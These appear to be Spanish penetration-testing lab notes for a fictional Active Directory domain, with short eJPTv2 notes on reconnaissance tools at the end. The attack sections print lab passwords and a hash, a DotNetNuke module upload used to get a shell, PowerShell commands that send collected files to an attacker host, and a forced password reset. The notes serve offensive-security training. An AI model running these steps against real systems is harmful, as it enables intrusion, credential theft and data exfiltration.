![[Pasted image 20261009181409.png]]
![[Pasted image 20261009181426.png]]
Nos abrimos una shell en msfconsole que esta siendo muy incomodo y podemos probar a usar algun exploit de escalada
![[Pasted image 20261009181831.png]]
![[Pasted image 20261009182719.png]]
Ponemos de payload el x64 para la arquietectura que tenemos
![[Pasted image 20261009182746.png]]
![[Pasted image 20261009182733.png]]
Usamos el modulo de local_exploit_suggester a ver si encuentra algo
![[Pasted image 20261009182004.png]]
Pero nada
Buscamos SUIDs
![[Pasted image 20261009182136.png]]
Mejor pasamos linpeas directamente
![[Pasted image 20261009191015.png]]![[Pasted image 20261009191118.png]]![[Pasted image 20261009191144.png]]
![[Pasted image 20261009192819.png]]
![[Pasted image 20261009192851.png]]
Tras pasarle parte del linpeash archivo a chat gpt vimos que este habia encontrado unas creds en texto plano
srvadm:ILFreightnixadm!
![[Pasted image 20261009193529.png]]
![[Pasted image 20261009193634.png]]
vamos a conectarnos mejor via ssh
![[Pasted image 20261009193757.png]]
Vamos a aprovechar que podemos hacer sudo /usr/bin/openssl para leer la flag y el .ssh de root
![[Pasted image 20261009194107.png]]
![[Pasted image 20261009194115.png]]
![[Pasted image 20261009194749.png]]
![[Pasted image 20261009194815.png]]![[Pasted image 20261009194831.png]]
![[Pasted image 20261009195056.png]]
no tenemos fping por lo que vamos con ping
![[Pasted image 20261009200838.png]]
En este punto buscamos lo siguiente
![[Pasted image 20261009200708.png]]
![[Pasted image 20261009211945.png]]
![[Pasted image 20261009213056.png]]
![[Pasted image 20261009213131.png]]
![[Pasted image 20261009213449.png]]
![[Pasted image 20261009214142.png]]
![[Pasted image 20261009214131.png]]
Mejor poner el speed en 5
![[Pasted image 20261009214505.png]]
Nada, no hay mucho mas que ver. Los otros puertos no me llaman la atencion
Vamos con http://172.16.8.20:80 que puede contener algo tambien
![[Pasted image 20261009214832.png]]
![[Pasted image 20261009214840.png]]
/admin redirige a ![[Pasted image 20261009214926.png]]
![[Pasted image 20261009215100.png]]
Esta todo coficado
![[Pasted image 20261010115714.png]]
Como no se puede hacemos un enumuser con kerbrute directamente
![[Pasted image 20261010130106.png]]![[Pasted image 20261010130115.png]]
![[Pasted image 20261010132116.png]]
![[Pasted image 20261010132104.png]]
callejones sin salida
Nos vamos a mirar si podemos montar el NFS y SI PODEMOS
![[Pasted image 20261010140101.png]]![[Pasted image 20261010140108.png]]![[Pasted image 20261010140148.png]]
![[Pasted image 20261010140245.png]]
Administrator:D0tn31Nuk3R0ck$$@123
![[Pasted image 20261010140315.png]]
![[Pasted image 20261010140332.png]]
![[Pasted image 20261010140718.png]]
Podemos instalar extensiones y chat gpt nos ha hecho unos archivos de prueba para subir
![[Pasted image 20261010143745.png]]
![[Pasted image 20261010145225.png]]
PARA VER LA ESTRUCTURA
![[Pasted image 20261010143816.png]]
![[Pasted image 20261010143824.png]]
<%@ Control Language="C#" Inherits="DotNetNuke.Entities.Modules.PortalModuleBase" %>
<%@ Import Namespace="System.Security.Principal" %>
<h3>DNN Execution Test</h3>
<p>
Windows Identity:
<%= WindowsIdentity.GetCurrent().Name %>
</p>
catnp ExecutionTest.dnn
<?xml version="1.0" encoding="utf-8"?>
<dotnetnuke type="Package" version="5.0">
<packages>
<package name="CPTS.ExecutionTest" type="Module" version="01.00.00">
<friendlyName>CPTS Execution Test</friendlyName>
<description>ASP.NET execution identity test</description>
<components>
<component type="Module">
<desktopModule>
<moduleName>CPTS Execution Test</moduleName>
<foldername>CPTSExecutionTest</foldername>
<businessControllerClass />
<supportedFeatures />
<moduleDefinitions>
<moduleDefinition>
<friendlyName>CPTS Execution Test</friendlyName>
<defaultCacheTime>0</defaultCacheTime>
<moduleControls>
<moduleControl>
<controlKey />
<controlSrc>DesktopModules/CPTSExecutionTest/View.ascx</controlSrc>
<supportsPartialRendering>False</supportsPartialRendering>
<controlTitle>Execution Test</controlTitle>
<controlType>View</controlType>
<viewOrder>0</viewOrder>
</moduleControl>
</moduleControls>
</moduleDefinition>
</moduleDefinitions>
</desktopModule>
</component>
<component type="File">
<files>
<basePath>DesktopModules/CPTSExecutionTest</basePath>
<file>
<name>View.ascx</name>
<sourceFileName>View.ascx</sourceFileName>
</file>
</files>
</component>
</components>
</package>
</packages>
</dotnetnuke>
![[Pasted image 20261010143906.png]]
![[Pasted image 20261010145315.png]]
![[Pasted image 20261010145451.png]]
Add pages
![[Pasted image 20261010145636.png]]
![[Pasted image 20261010145725.png]]
Activamos modo edit > Add Module
![[Pasted image 20261010145820.png]]
![[Pasted image 20261010145851.png]]![[Pasted image 20261010145907.png]]
![[Pasted image 20261010151956.png]]
Modificamos View.ascx
![[Pasted image 20261010153746.png]]
Lo subimos a las extensiones
![[Pasted image 20261010152422.png]]
Lo subimos en el edit mode add
![[Pasted image 20261010153810.png]]
Visitamos: http://172.16.8.20/CPTS-Test?shell=start
Obtenemos la shell
![[Pasted image 20261010153838.png]]![[Pasted image 20261010153901.png]]
whoami /all
![[Pasted image 20261010153941.png]]
![[Pasted image 20261010154150.png]]
![[Pasted image 20261010154309.png]]![[Pasted image 20261010154403.png]]
![[Pasted image 20261010154431.png]]![[Pasted image 20261010155155.png]]
![[Pasted image 20261010155203.png]]
![[Pasted image 20261010154655.png]]
![[Pasted image 20261010155731.png]]![[Pasted image 20261010155742.png]]![[Pasted image 20261010155841.png]]
![[Pasted image 20261010162741.png]]
![[Pasted image 20261010162807.png]]![[Pasted image 20261010162853.png]]
![[Pasted image 20261010163329.png]]
![[Pasted image 20261010163322.png]]
![[Pasted image 20261010163339.png]]
Administrator:0e20798f695ab0d04bc138b22344cea8
![[Pasted image 20261010172130.png]]![[Pasted image 20261010172137.png]]![[Pasted image 20261010172142.png]]
![[Pasted image 20261010172205.png]]
Para pasarnos las cosas de DEV01 a DMZ01
cat > /tmp/receive.py <<'PY'
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
with open('/tmp/sharphound.zip', 'wb') as f:
remaining = length
while remaining:
chunk = self.rfile.read(min(65536, remaining))
if not chunk:
break
f.write(chunk)
remaining -= len(chunk)
self.send_response(200 if remaining == 0 else 400)
self.end_headers()
self.wfile.write(b'Upload complete' if remaining == 0 else b'Incomplete upload')
HTTPServer(('172.16.8.120', 8000), Handler).serve_forever()
PY
python3 /tmp/receive.py
Invoke-WebRequest -Uri 'http://172.16.8.120:8000/' -Method Post -InFile 'C:\Users\Administrator\Desktop\20261010082112_BloodHound.zip' -UseBasicParsing
![[Pasted image 20261010172911.png]]
![[Pasted image 20261010172858.png]]![[Pasted image 20261010172930.png]]
![[Pasted image 20261010173049.png]]![[Pasted image 20261010173105.png]]
![[Pasted image 20261010173159.png]]
![[Pasted image 20261010173245.png]]
![[Pasted image 20261010173510.png]]
![[Pasted image 20261010173539.png]]
![[Pasted image 20261010173532.png]]
hporter (rdp dev) changepass> smalls (rdp dev) IT-Admins
cat > /tmp/receive.py <<'PY'
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import unquote
import os
UPLOAD_DIR = "/tmp/uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
filename = unquote(self.headers.get("X-Filename", "archivo.bin"))
filename = os.path.basename(filename.replace("\\", "/"))
if filename in ("", ".", ".."):
self.send_error(400, "Nombre de archivo invalido")
return
filepath = os.path.join(UPLOAD_DIR, filename)
remaining = int(self.headers.get("Content-Length", 0))
if remaining <= 0:
self.send_error(400, "Archivo vacio")
return
with open(filepath, "wb") as f:
while remaining > 0:
chunk = self.rfile.read(min(65536, remaining))
if not chunk:
break
f.write(chunk)
remaining -= len(chunk)
self.send_response(200 if remaining == 0 else 400)
self.end_headers()
self.wfile.write(b"Upload complete" if remaining == 0 else b"Incomplete upload")
print(f"Archivo recibido: {filepath}", flush=True)
HTTPServer(("172.16.8.120", 8000), Handler).serve_forever()
PY
python3 /tmp/receive.py
$file = 'C:\Users\Administrator\Desktop\archivo.zip'
Invoke-WebRequest -Uri 'http://172.16.8.120:8000/' -Method POST -InFile $file -Headers @{'X-Filename'=[IO.Path]::GetFileName($file)} -ContentType 'application/octet-stream' -UseBasicParsing
ls -lh /tmp/uploads/
![[Pasted image 20261010180644.png]]
![[Pasted image 20261010180653.png]]
![[Pasted image 20261010180742.png]]
![[Pasted image 20261010180857.png]]
![[Pasted image 20261010180956.png]]
![[Pasted image 20261010181013.png]]
![[Pasted image 20261010181451.png]]
Tenemos una coincidencia ya que tengo stop on success
hporter:Gr8hambino!
![[Pasted image 20261010181510.png]]
![[Pasted image 20261013214940.png]]
![[Pasted image 20261013215111.png]]
$searcher.Filter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName=ssmalls))"
$result = $searcher.FindOne()
$result.Properties["distinguishedname"]
$newPassword = "Password1!"
$user = $result.GetDirectoryEntry()
$user.Invoke("SetPassword", $newPassword)
$user.CommitChanges()
![[Pasted image 20261013215947.png]]
![[Pasted image 20261013220053.png]]
![[Pasted image 20261013220314.png]]
![[Pasted image 20261013220820.png]]![[Pasted image 20261013220830.png]]
![[Pasted image 20261013223942.png]]
![[Pasted image 20261013223953.png]]![[Pasted image 20261013224035.png]]
backupadm:!qazXSW@
![[Pasted image 20261013224231.png]]
Tras una enumeracion de servicios encontramos que tiene un servicio SQL interno abierto al que tenemos acceso con backupadm
![[Pasted image 20261013225559.png]]![[Pasted image 20261013225633.png]]
Pero luego vemos que no tenemos acceso real, miramos la cuenta de servicio y podemos realizar un kerberoasting
![[Pasted image 20261013230125.png]]
![[Pasted image 20261013231243.png]]
![[Pasted image 20261013231159.png]]
![[Pasted image 20261013230524.png]]![[Pasted image 20261013230843.png]]![[Pasted image 20261013230851.png]]
![[Pasted image 20261013231324.png]]![[Pasted image 20261013231959.png]]
Intenamos conectarnos a MS01
![[Pasted image 20261014102653.png]]
Enumeramos un poco
![[Pasted image 20261014102832.png]]
La enumeracion general del sistema la tenemos denegada por accesos vamos con la de usuarios
![[Pasted image 20261014121528.png]]![[Pasted image 20261014121549.png]]
![[Pasted image 20261014121650.png]]![[Pasted image 20261014121700.png]]![[Pasted image 20261014121715.png]]![[Pasted image 20261014121840.png]]
- Podriamos tratar de ver canalizaciones si no veo nada mas
![[Pasted image 20261014122559.png]]![[Pasted image 20261014130212.png]]
![[Pasted image 20261014130541.png]]
![[Pasted image 20261014130627.png]]
![[Pasted image 20261014131821.png]]
![[Pasted image 20261014131831.png]]
Vamos a priorizar sysaxAutomation que es un programa para automatizar tareas
Revisamos si tenemos permisos de escritura
![[Pasted image 20261014131949.png]]
Como BUILTIN\Users tenemos solo permisos de lectura y ejecucion pero vemos que se ejecuta como SYSTEM
![[Pasted image 20261014133059.png]]![[Pasted image 20261014133120.png]]![[Pasted image 20261014133136.png]]![[Pasted image 20261014133201.png]]
![[Pasted image 20261014133455.png]]![[Pasted image 20261014133536.png]]![[Pasted image 20261014133609.png]]![[Pasted image 20261014133658.png]]
![[Pasted image 20261014134352.png]]
![[Pasted image 20261014134339.png]]![[Pasted image 20261014134428.png]]![[Pasted image 20261014134551.png]]![[Pasted image 20261014134833.png]]![[Pasted image 20261014135045.png]]![[Pasted image 20261014135124.png]]![[Pasted image 20261014135223.png]]![[Pasted image 20261014135410.png]]
Confirmado se ejecuta vamos a ver si realmente como SYSTEM
![[Pasted image 20261014140146.png]]
![[Pasted image 20261014140208.png]]
No. Podemos probar a agregar tarea
![[Pasted image 20261014165242.png]]
![[Pasted image 20261014165438.png]]
![[Pasted image 20261014165242.png]]
![[Pasted image 20261014141221.png]]
![[Pasted image 20261014141239.png]]![[Pasted image 20261014141259.png]]![[Pasted image 20261014165306.png]]![[Pasted image 20261014165325.png]]![[Pasted image 20261014165345.png]]![[Pasted image 20261014165610.png]]
Abrimos una shell como administrator
![[Pasted image 20261014170124.png]]![[Pasted image 20261014170133.png]]
![[Pasted image 20261014170338.png]]
![[Pasted image 20261014170318.png]]
mssqladm:DBAilfreight1!
![[Pasted image 20261014170747.png]]
![[Pasted image 20261014171017.png]]
Le ponemos un SPN gracias a GenericWrite
![[Pasted image 20261014171133.png]]![[Pasted image 20261014171421.png]]
![[Pasted image 20261014171519.png]]![[Pasted image 20261014171526.png]]
ttimmons:Repeat09
![[Pasted image 20261014171754.png]]
![[Pasted image 20261014171940.png]]
![[Pasted image 20261014172109.png]]
![[Pasted image 20261014172145.png]]
![[Pasted image 20261014172329.png]]
![[Pasted image 20261014172442.png]]![[Pasted image 20261014172614.png]]
CPTS
5. Reporting / 2. Atacando Redes De Empresas
Algunas Notas
Nmap scan report for 172.16.8.3
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-09 19:20:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: INLANEFREIGHT.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: INLANEFREIGHT.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -30s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-10-09T19:20:58
|_ start_date: N/A
Nmap scan report for 172.16.8.20
Host is up (0.00s latency).
Not shown: 16 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Home
| http-robots.txt: 16 disallowed entries (15 shown)
| /*/ctl/ /admin/ /App_Browsers/ /App_Code/ /App_Data/
| /App_GlobalResources/ /bin/ /Components/ /Config/ /contest/ /controls/
|_/Documentation/ /HttpModules/ /Install/ /Providers/
111/tcp open rpcbind?
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open rpcbind
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: ACADEMY-AEN-DEV
| DNS_Domain_Name: INLANEFREIGHT.LOCAL
| DNS_Computer_Name: ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL
| DNS_Tree_Name: INLANEFREIGHT.LOCAL
| Product_Version: 10.0.17763
|_ System_Time: 2026-10-09T19:21:25+00:00
| ssl-cert: Subject: commonName=ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL
| Not valid before: 2026-10-08T19:06:27
|_Not valid after: 2027-04-09T19:06:27
|_ssl-date: 2026-10-09T19:22:11+00:00; -19s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -10s, deviation: 7s, median: -7s
| smb2-time:
| date: 2026-10-09T19:21:50
|_ start_date: N/A
PRIORIZAR POR EL TOMCAT
- Abre Ajustes → General → Configuración de red → Configuración.
- Selecciona Configuración manual del proxy.
- En Servidor SOCKS, introduce `127.0.0.1`.
- En Puerto, introduce `9050`.
- Selecciona SOCKS v5.
Nmap scan report for 172.16.8.50
Host is up (0.00s latency).
Not shown: 18 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-10-09T19:22:07+00:00; -13s from scanner time.
| ssl-cert: Subject: commonName=ACADEMY-AEN-MS01.INLANEFREIGHT.LOCAL
| Not valid before: 2026-10-08T19:06:31
|_Not valid after: 2027-04-09T19:06:31
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: ACADEMY-AEN-MS0
| DNS_Domain_Name: INLANEFREIGHT.LOCAL
| DNS_Computer_Name: ACADEMY-AEN-MS01.INLANEFREIGHT.LOCAL
| DNS_Tree_Name: INLANEFREIGHT.LOCAL
| Product_Version: 10.0.17763
|_ System_Time: 2026-10-09T19:21:28+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Apache Tomcat/10.0.21
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Apache Tomcat
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -6s, deviation: 6s, median: -5s
| smb2-time:
| date: 2026-10-09T19:21:57
|_ start_date: N/A
NOSOTROS
Nmap scan report for 172.16.8.120
Host is up (0.00s latency).
Not shown: 13 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.16.8.120
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 38 May 30 2022 flag.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA)
| 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain (unknown banner: 1337_HTB_DNS)
| dns-nsid:
|_ bind.version: 1337_HTB_DNS
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ 1337_HTB_DNS
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Inlanefreight
110/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_pop3-capabilities: CAPA SASL(PLAIN) PIPELINING AUTH-RESP-CODE RESP-CODES TOP STLS UIDL USER
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_imap-capabilities: ENABLE Pre-login have LOGIN-REFERRALS LITERAL+ more post-login STARTTLS IMAP4rev1 ID listed capabilities SASL-IR IDLE OK AUTH=PLAINA0001
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_imap-capabilities: ENABLE Pre-login have AUTH=PLAINA0001 LITERAL+ more OK IMAP4rev1 ID listed post-login SASL-IR IDLE capabilities LOGIN-REFERRALS
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA RESP-CODES USER SASL(PLAIN) UIDL TOP PIPELINING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Support Center
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.99%I=7%D=10/9%Time=6AC93E90%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,39,"\x007\0\x06\x85\0\0\x01\0\x01\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\r\x0c1337_HTB_DNS");
Service Info: Host: ubuntu; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
CPTS
5. Reporting / 2. Atacando Redes De Empresas
Scripts O Comandos
Transferencia de archivos de Windows (upload) –> Linux
cat > /tmp/receive.py <<'PY'
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import unquote
import os
UPLOAD_DIR = "/tmp/uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
filename = unquote(self.headers.get("X-Filename", "archivo.bin"))
filename = os.path.basename(filename.replace("\\", "/"))
if filename in ("", ".", ".."):
self.send_error(400, "Nombre de archivo invalido")
return
filepath = os.path.join(UPLOAD_DIR, filename)
remaining = int(self.headers.get("Content-Length", 0))
if remaining <= 0:
self.send_error(400, "Archivo vacio")
return
with open(filepath, "wb") as f:
while remaining > 0:
chunk = self.rfile.read(min(65536, remaining))
if not chunk:
break
f.write(chunk)
remaining -= len(chunk)
self.send_response(200 if remaining == 0 else 400)
self.end_headers()
self.wfile.write(b"Upload complete" if remaining == 0 else b"Incomplete upload")
print(f"Archivo recibido: {filepath}", flush=True)
HTTPServer(("172.16.8.120", 8000), Handler).serve_forever()
PY
python3 /tmp/receive.py
$file = 'C:\Users\Administrator\Desktop\archivo.zip'
Invoke-WebRequest -Uri 'http://172.16.8.120:8000/' -Method POST -InFile $file -Headers @{'X-Filename'=[IO.Path]::GetFileName($file)} -ContentType 'application/octet-stream' -UseBasicParsing
ls -lh /tmp/uploads/
Exploit DNN
View.ascx
![[Pasted image 20261010153746.png]]
ExecutionTest.dnn
catnp ExecutionTest.dnn
<?xml version="1.0" encoding="utf-8"?>
<dotnetnuke type="Package" version="5.0">
<packages>
<package name="CPTS.ExecutionTest" type="Module" version="01.00.00">
<friendlyName>CPTS Execution Test</friendlyName>
<description>ASP.NET execution identity test</description>
<components>
<component type="Module">
<desktopModule>
<moduleName>CPTS Execution Test</moduleName>
<foldername>CPTSExecutionTest</foldername>
<businessControllerClass />
<supportedFeatures />
<moduleDefinitions>
<moduleDefinition>
<friendlyName>CPTS Execution Test</friendlyName>
<defaultCacheTime>0</defaultCacheTime>
<moduleControls>
<moduleControl>
<controlKey />
<controlSrc>DesktopModules/CPTSExecutionTest/View.ascx</controlSrc>
<supportsPartialRendering>False</supportsPartialRendering>
<controlTitle>Execution Test</controlTitle>
<controlType>View</controlType>
<viewOrder>0</viewOrder>
</moduleControl>
</moduleControls>
</moduleDefinition>
</moduleDefinitions>
</desktopModule>
</component>
<component type="File">
<files>
<basePath>DesktopModules/CPTSExecutionTest</basePath>
<file>
<name>View.ascx</name>
<sourceFileName>View.ascx</sourceFileName>
</file>
</files>
</component>
</components>
</package>
</packages>
</dotnetnuke>
![[Pasted image 20261010143906.png]]
![[Pasted image 20261010145451.png]]
Add pages
![[Pasted image 20261010145636.png]]
![[Pasted image 20261010145725.png]]
Activamos modo edit > Add Module
![[Pasted image 20261010145820.png]]
![[Pasted image 20261010145851.png]]![[Pasted image 20261010145907.png]]
![[Pasted image 20261010151956.png]]
Lo subimos a las extensiones
![[Pasted image 20261010152422.png]]
Lo subimos en el edit mode add
![[Pasted image 20261010153810.png]]
Visitamos: http://172.16.8.20/CPTS-Test?shell=start
Obtenemos la shell
![[Pasted image 20261010153838.png]]
ForceChangePassword
![[Pasted image 20261013214940.png]]
$searcher.Filter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName=ssmalls))"
$result = $searcher.FindOne()
$result.Properties["distinguishedname"]
$newPassword = "Password1!"
$user = $result.GetDirectoryEntry()
$user.Invoke("SetPassword", $newPassword)
$user.CommitChanges()
Sysax FTP Automation
![[Pasted image 20261014134339.png]]
![[Pasted image 20261014134428.png]]
![[Pasted image 20261014165242.png]]
![[Pasted image 20261014165438.png]]
![[Pasted image 20261014165242.png]]
![[Pasted image 20261014141221.png]]
![[Pasted image 20261014141239.png]]![[Pasted image 20261014141259.png]]![[Pasted image 20261014165306.png]]![[Pasted image 20261014165325.png]]![[Pasted image 20261014165345.png]]![[Pasted image 20261014165610.png]]
Runas
![[Pasted image 20261014170747.png]]
Generic All
![[Pasted image 20261014171940.png]]
![[Pasted image 20261014172109.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
1. Host
host <DOMAIN>
Se suele usar junto con whois
Es un comando que resuelve DNS. Si nos da 2 IPs lo mas probable es que este detras de Cloudflare o algun servicio por el estilo
Ademas nos puede dar mas informacion como los mail servers
![[Pasted image 20260316195145.png]]
EJEMPLO JUNTO CON WHOIS
![[Pasted image 20260316200045.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
2. Robots.txt
http://<IP>/robots.txt
Este es un directorio que indica al navegador que directorios o recursos no deben ser indexados. Puede tener dos entradas:
- Disallow: no indexa estos directorios
- Allow: si los indexa
![[Pasted image 20260316195407.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
3. Sitemap.xml
http://<IP>/sitemap.xml
Un archivo que provee a los navegadores una forma optimizada de indexar la website
![[Pasted image 20260316195549.png]]
En nuestro caso tenemos:
- /post-sitemap.xml
- /page-sitemap.xml
- /category-sitemap.xml
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
4. Whatweb Y Wappalyzer
Whatweb
whatweb <URL>
nos dice tambien las tecnologias, lenguajes...
![[Pasted image 20260316195740.png]]
Wappalyzer
Wappalyzer: es una extension que nos dice las tecnologias que usa la website
![[Pasted image 20260316195659.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
5. Whois
whois <DOMAIN>
Se suele usar junto con host
Whois es un protocolo de Internet que se usa para preguntar a las BBDD: nombre del dominio, IPs, sistemas...
![[Pasted image 20260316195915.png]]
Informacion que nos ha dado:
- Nombre del dominio
- Servidor whois
- Registrar URL
- Dia de ultima actualizacion, creacion y expiracion
- Registrar organization
- Email y phone Abuse
- Name servers: detras de cloudflare
- DNSSEC: unsigned
EJEMPLO CON HOST
![[Pasted image 20260316200019.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
6. Dnsrecon Y Dnsdumpster
Dnsrecon
dnsrecon -d <DOMAIN>
Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales
![[Pasted image 20260316200213.png]]
Dnsdumpster
https://dnsdumpster.com/
Lo mimso que dnsrecon pero en una web y con mas detalle
-
Nos dice donde se situan los sistemas
![[Pasted image 20260316200309.png]]
-
Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)
![[Pasted image 20260316200322.png]]
![[Pasted image 20260316200336.png]]
- Grafico descriptivo y visual
![[Pasted image 20260316200350.png]]
Estamos viendo que tenemos:
- Un subdominio y dos servidores DNS dentro de cloudflare
- Mientras que el servidor de mail esta dentro de namecheap-net
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
7. Wafw00f
Esta herramienta sirve para ver si una web tiene un WAF
Como lo hace:
Envia un HTTP request y analiza la respuesta, lo compara con una lista de WAFs que tiene
Si no funciona, envia un num de HTTP Request y usa logica y deduce si tiene un WAF
Si tampoco funciona, analiza las respuestas y usa otra algoritmo simple para identificar si hay un WAF u otra solucion de seguridad activada
Usos
| Comandos |
Explicacion |
| wafw00f -l |
Muestra lista de los WAF y proxies que conoce |
| wafw00f <DOMAIN> |
Muestra el WAF de la aplicacion |
| wafw00f -a <DOMAIN> |
Muestra el WAF de la aplicacion y mas info |
wafw00f -l
Muestra una lista de los WAF y proxies que conoce
![[Pasted image 20260316200504.png]]
wafw00f <DOMAIN>
Muestra
- The site “nombre” is behind a WAF o proxy
- No WAF o proxy detected
![[Pasted image 20260316200544.png]]
wafw00f -a <DOMAIN>
![[Pasted image 20260316200605.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
8. Sublist3r
sublist3r -d <DOMAIN>
No es con fuerza bruta por lo que no es activo. Usa motores de busqueda publicos y herramientas como Netcraft, Virustotal… para encontrar subdominio que puedan ser indexados
Descubre subdominios mediante OSINT
Tiene integrado subbrute para poder hacer ataques de fuerza bruta
Parametros
WORDLIST : /usr/share/wordlist/dirb/common.txt
| Parametros |
Explicacion |
| -d |
Dominio |
| -b |
Fuerza bruta |
| -p |
Puerto |
| -v |
Verbose |
| -t |
Threads de ataque de fuerza bruta |
| -e |
Motores de busqueda separados por comandos |
| -o |
Output file |
| -h |
Help |
